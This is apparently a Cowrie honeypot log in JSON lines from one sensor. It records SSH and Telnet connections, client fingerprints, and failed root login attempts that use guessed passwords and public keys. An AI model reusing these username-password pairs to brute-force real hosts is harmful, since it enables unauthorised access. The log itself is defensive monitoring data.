{"eventid":"cowrie.session.closed","duration":117.37086915969849,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:44.117339Z","src_ip":"152.42.224.71","session":"4e39dcef101b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.00026488304138,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:12.016649Z","src_ip":"152.42.224.71","session":"784bf7f7aec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.36504101753235,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:20.331385Z","src_ip":"152.42.224.71","session":"9d70cabb99fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.93113136291504,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:23.130415Z","src_ip":"152.42.224.71","session":"a4a3a599f7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00414800643921,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:33.024937Z","src_ip":"152.42.224.71","session":"a6f005edf12e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.91661500930786,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:33.971320Z","src_ip":"152.42.224.71","session":"07447ddf0d36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.08528518676758,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:37.755959Z","src_ip":"152.42.224.71","session":"69e5ceec83a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40530,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c457da2cd66","protocol":"ssh","message":"New connection: 109.237.96.109:40530 (159.203.135.109:22) [session: 8c457da2cd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:40.492501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:40.496604Z","src_ip":"109.237.96.109","session":"8c457da2cd66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:40.585705Z","src_ip":"109.237.96.109","session":"8c457da2cd66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:41.169066Z","src_ip":"109.237.96.109","session":"8c457da2cd66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:42.260561Z","src_ip":"109.237.96.109","session":"8c457da2cd66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.16.40","src_port":43250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d756fca1ea96","protocol":"ssh","message":"New connection: 216.59.16.40:43250 (10.17.0.5:22) [session: d756fca1ea96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.574931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.579936Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.606321Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:ef:2b:14:56:e3:85:73:10:20:2a:dc:77:ed:ac:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBcWzBpKyGuvmORBQqtZH9Eig1RhkqvDAp0rB1k4rtRw/XB9/iNBHMAPEJuUCDNLcSJKhLtm/EpaYpL2XGs0XLG2so0iP8Mu41d+O+qVkEdXXhGg4fTpi4s9QuBalVMSxCslXQIg4/YApjIiuex+xQyYUylwBr3xaonesry4m4Fxf7obEgBdFjU2lJk52DcdVfHS5XwxTXg0CSCPV+PwkYsmhXGRhK2E1lOzE6G9Ve45Aw1KMvqo8/oujcWIgkBUhY3OTXK+NgjFmB8qorcCu7rYH+r7Dzd5yj1B9F/Mtnom7+C5ImOyTXqAt1C41/c//UXxriv3Bdi4dPPfFiF1aaVO6qlmwh5/63/Mwj9XQ96XRJb9LYIJjSxtsprhmJqAY59M8tJUlBS5fZ3Ap+s/NhZ26mYDpLrxWFY6xq2C5Uj00nwlgnCt+WfslDlOk3QDO3/ySv2uiRitkZ7yzR2dDN9tjnky6N5+8MbohV4xgP9jnnSXpoKh/pmXj35Faq2tk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:ef:2b:14:56:e3:85:73:10:20:2a:dc:77:ed:ac:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.701417Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:ef:2b:14:56:e3:85:73:10:20:2a:dc:77:ed:ac:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBcWzBpKyGuvmORBQqtZH9Eig1RhkqvDAp0rB1k4rtRw/XB9/iNBHMAPEJuUCDNLcSJKhLtm/EpaYpL2XGs0XLG2so0iP8Mu41d+O+qVkEdXXhGg4fTpi4s9QuBalVMSxCslXQIg4/YApjIiuex+xQyYUylwBr3xaonesry4m4Fxf7obEgBdFjU2lJk52DcdVfHS5XwxTXg0CSCPV+PwkYsmhXGRhK2E1lOzE6G9Ve45Aw1KMvqo8/oujcWIgkBUhY3OTXK+NgjFmB8qorcCu7rYH+r7Dzd5yj1B9F/Mtnom7+C5ImOyTXqAt1C41/c//UXxriv3Bdi4dPPfFiF1aaVO6qlmwh5/63/Mwj9XQ96XRJb9LYIJjSxtsprhmJqAY59M8tJUlBS5fZ3Ap+s/NhZ26mYDpLrxWFY6xq2C5Uj00nwlgnCt+WfslDlOk3QDO3/ySv2uiRitkZ7yzR2dDN9tjnky6N5+8MbohV4xgP9jnnSXpoKh/pmXj35Faq2tk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.705390Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:d5:28:28:f3:8a:94:d4:06:3b:15:7e:84:2b:d9:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdJJELCqppQ0aysyPtotxhKKHgks+8sgg+2Jp/6YPTBNmnQOQWyCMWXA0zIFK3pzhWfMFiYENURqcNuOpOggXZ9HOKSJmDs2N+x3g+m0gFh0DUC+Imxs+tnK4xDHLcPv8HBcggQjWEUahmnDiC5GdH3Sat25m7M9TjjHiUuW/rDGTyowFY+P/kbWUKU+Eixh4H0QSpk0Q3bNVhbOD9FV2CbQQzW9ZPBi7YoBZafxukXjGedxmqV/l1mIhc8+m3cGBYmGj/jK/2XHIs9eeXUQmTo+T5OF+UcGCQX7KvDidRDfRUmoH4+1K7qf2YyutZlc5fnZSc3knjnWesDkxdSPNXMG5tLX6PRGytPb/+zz/0RCwaImMH16oCNE4dRevPAJiQZjGHC6V/Hj28n0V5/a937cbEWnnCSFnPxNNBQwNaJewEgCw0N74cDFTvI1XEzjDU+hBF+83sNb+5CZsCKl4PuFGYKvJAJd8nLfUnTsRyKzSoDcA1Bu2UE4jDQKPQ3QhzABqDdno/c3sr4QRYZhVd9yfiYfTwPr2yCmxdInME4cr5IUDfE3wEzp99AU8wSJnTUS7K1dXXWgOxQRpJ6hSHxFEkBEcvFlVyzllvs68QXzkibIFnizTmxQnjsMAWgeKkI85yH67254/mNoNTtZcqNuwN2S7iZAYbjeez3BBNAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:d5:28:28:f3:8a:94:d4:06:3b:15:7e:84:2b:d9:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.729989Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:d5:28:28:f3:8a:94:d4:06:3b:15:7e:84:2b:d9:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdJJELCqppQ0aysyPtotxhKKHgks+8sgg+2Jp/6YPTBNmnQOQWyCMWXA0zIFK3pzhWfMFiYENURqcNuOpOggXZ9HOKSJmDs2N+x3g+m0gFh0DUC+Imxs+tnK4xDHLcPv8HBcggQjWEUahmnDiC5GdH3Sat25m7M9TjjHiUuW/rDGTyowFY+P/kbWUKU+Eixh4H0QSpk0Q3bNVhbOD9FV2CbQQzW9ZPBi7YoBZafxukXjGedxmqV/l1mIhc8+m3cGBYmGj/jK/2XHIs9eeXUQmTo+T5OF+UcGCQX7KvDidRDfRUmoH4+1K7qf2YyutZlc5fnZSc3knjnWesDkxdSPNXMG5tLX6PRGytPb/+zz/0RCwaImMH16oCNE4dRevPAJiQZjGHC6V/Hj28n0V5/a937cbEWnnCSFnPxNNBQwNaJewEgCw0N74cDFTvI1XEzjDU+hBF+83sNb+5CZsCKl4PuFGYKvJAJd8nLfUnTsRyKzSoDcA1Bu2UE4jDQKPQ3QhzABqDdno/c3sr4QRYZhVd9yfiYfTwPr2yCmxdInME4cr5IUDfE3wEzp99AU8wSJnTUS7K1dXXWgOxQRpJ6hSHxFEkBEcvFlVyzllvs68QXzkibIFnizTmxQnjsMAWgeKkI85yH67254/mNoNTtZcqNuwN2S7iZAYbjeez3BBNAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.733901Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:ee:71:70:7d:13:05:af:28:89:9e:d1:4d:4f:2b:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvlAEYmsod/b48AyupgHuk8igBArsXnnqVbycv/urwfsk0KaZv9L79qCqVqQ+dPOOu8pzqQ0c/x9P5XVrvHi1GeHHqSXy9sl0qNZ776xBTVBUlw2Pli4erLsmF2N9V9xJ3QvF1tuLMs72xcuL5qihXRi6che6ZukI7ZEh1FvIxzttKNMBIHP9BSFu0PfZnCoffuvFFpwg4+Pe6JMo+LQfpXcDXvcR+ZaoYb7URK8INcPIp4V+6CaxYirCFI8YqhmuQATljw30fNm+cO5qR4dKnaBccIIeAU/C3dvazONMPWcl6rPcdxyLUMqKR8BeCzJeznr1EJOfroL6UzEu10A53","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:ee:71:70:7d:13:05:af:28:89:9e:d1:4d:4f:2b:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.758417Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:ee:71:70:7d:13:05:af:28:89:9e:d1:4d:4f:2b:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvlAEYmsod/b48AyupgHuk8igBArsXnnqVbycv/urwfsk0KaZv9L79qCqVqQ+dPOOu8pzqQ0c/x9P5XVrvHi1GeHHqSXy9sl0qNZ776xBTVBUlw2Pli4erLsmF2N9V9xJ3QvF1tuLMs72xcuL5qihXRi6che6ZukI7ZEh1FvIxzttKNMBIHP9BSFu0PfZnCoffuvFFpwg4+Pe6JMo+LQfpXcDXvcR+ZaoYb7URK8INcPIp4V+6CaxYirCFI8YqhmuQATljw30fNm+cO5qR4dKnaBccIIeAU/C3dvazONMPWcl6rPcdxyLUMqKR8BeCzJeznr1EJOfroL6UzEu10A53","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.762188Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:08:38:90:d9:ab:cb:ad:5e:c4:08:0a:87:68:8d:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOmvVfztSpsIP2QnUw4Q1kCFUC0ZKfam3QkWHH25eNtu9XCLqnI9VsDSfIVkPc+cqlszT70NgOtMzFRWKO8GNa9UPaSjfjKtzO8UupzMkDky+Bgi75E11HSEyyW3Sh4bzkBVnhcYtXiziZPfx2SRcxps8l1hBh3GUF8ZrdU34t0uUFPMVm54E3rGGMnGis07d0D8v3JIRXoWK3IaHDT2l5SpBRu74V28ePN4stS84dmlPVYQuJSnidcI+IHQf9O9RFaG74ZVWgJtpUVVd+/H2z8XMJTZbOQ3ct/U5iP93wR/Q1Zlc2df6K24jwEot5tjK779+MKouHLZKuXCKB4X4r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:08:38:90:d9:ab:cb:ad:5e:c4:08:0a:87:68:8d:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.787013Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:08:38:90:d9:ab:cb:ad:5e:c4:08:0a:87:68:8d:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOmvVfztSpsIP2QnUw4Q1kCFUC0ZKfam3QkWHH25eNtu9XCLqnI9VsDSfIVkPc+cqlszT70NgOtMzFRWKO8GNa9UPaSjfjKtzO8UupzMkDky+Bgi75E11HSEyyW3Sh4bzkBVnhcYtXiziZPfx2SRcxps8l1hBh3GUF8ZrdU34t0uUFPMVm54E3rGGMnGis07d0D8v3JIRXoWK3IaHDT2l5SpBRu74V28ePN4stS84dmlPVYQuJSnidcI+IHQf9O9RFaG74ZVWgJtpUVVd+/H2z8XMJTZbOQ3ct/U5iP93wR/Q1Zlc2df6K24jwEot5tjK779+MKouHLZKuXCKB4X4r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.790662Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:9f:28:40:0e:25:0a:b1:cf:47:fa:49:e1:71:54:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCfMaXoYjUhbmBsOWjGpRmQ+7bC09ZXIpzFj0oHGXODMMNZfMO1SMRpSkjB+PM0APOpFhYoS1a3R3u+lluSS+jyhwl/rOIFTj6J9R93VRnc0Gh7hVNe6Duli587ghRhurRJ4zzNaOWJbfhFMKmzTlTzdBiVYB+LLg4nxhys7hKyUhZIwq18Q1/Caq1o01TxlkfGC3PePGii14khuXftMA9+rvt5LrfWz5X/OnMgapp56Cklq55oynJI57ZwdFEFXI/h6aKbGhDpzhFoLXTfKMH4PWCzayTLTVi3q+/08NmvpHFcZPO8cqmoSS4oti9XV5JHPmatv6f6yZsl6yZuJ8h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:9f:28:40:0e:25:0a:b1:cf:47:fa:49:e1:71:54:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.814579Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:9f:28:40:0e:25:0a:b1:cf:47:fa:49:e1:71:54:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCfMaXoYjUhbmBsOWjGpRmQ+7bC09ZXIpzFj0oHGXODMMNZfMO1SMRpSkjB+PM0APOpFhYoS1a3R3u+lluSS+jyhwl/rOIFTj6J9R93VRnc0Gh7hVNe6Duli587ghRhurRJ4zzNaOWJbfhFMKmzTlTzdBiVYB+LLg4nxhys7hKyUhZIwq18Q1/Caq1o01TxlkfGC3PePGii14khuXftMA9+rvt5LrfWz5X/OnMgapp56Cklq55oynJI57ZwdFEFXI/h6aKbGhDpzhFoLXTfKMH4PWCzayTLTVi3q+/08NmvpHFcZPO8cqmoSS4oti9XV5JHPmatv6f6yZsl6yZuJ8h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.818242Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:43.841622Z","src_ip":"216.59.16.40","session":"d756fca1ea96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42498,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da5c62d74a3","protocol":"telnet","message":"New connection: 152.42.224.71:42498 (10.17.0.5:23) [session: 0da5c62d74a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:46.236018Z"}
{"eventid":"cowrie.session.closed","duration":6.375629901885986,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:52.611520Z","src_ip":"152.42.224.71","session":"0da5c62d74a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a379385a61e","protocol":"telnet","message":"New connection: 152.42.224.71:35310 (10.17.0.5:23) [session: 8a379385a61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:36:53.446354Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40524,"dst_ip":"159.203.135.109","dst_port":22,"session":"d548663ca91b","protocol":"ssh","message":"New connection: 62.133.63.178:40524 (159.203.135.109:22) [session: d548663ca91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:09.835357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:09.840471Z","src_ip":"62.133.63.178","session":"d548663ca91b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:09.969515Z","src_ip":"62.133.63.178","session":"d548663ca91b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undertaker","message":"login attempt [root/undertaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:10.346426Z","src_ip":"62.133.63.178","session":"d548663ca91b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:11.475042Z","src_ip":"62.133.63.178","session":"d548663ca91b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37586,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5bc7d30c25","protocol":"telnet","message":"New connection: 152.42.224.71:37586 (10.17.0.5:23) [session: 9a5bc7d30c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:15.226428Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"c965691d8985","protocol":"telnet","message":"New connection: 152.42.224.71:37596 (10.17.0.5:23) [session: c965691d8985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:16.269223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36620,"dst_ip":"10.17.0.5","dst_port":23,"session":"718b2da6022c","protocol":"telnet","message":"New connection: 152.42.224.71:36620 (10.17.0.5:23) [session: 718b2da6022c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:24.763542Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36610,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f2579f8217","protocol":"telnet","message":"New connection: 152.42.224.71:36610 (10.17.0.5:23) [session: 76f2579f8217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:24.769591Z"}
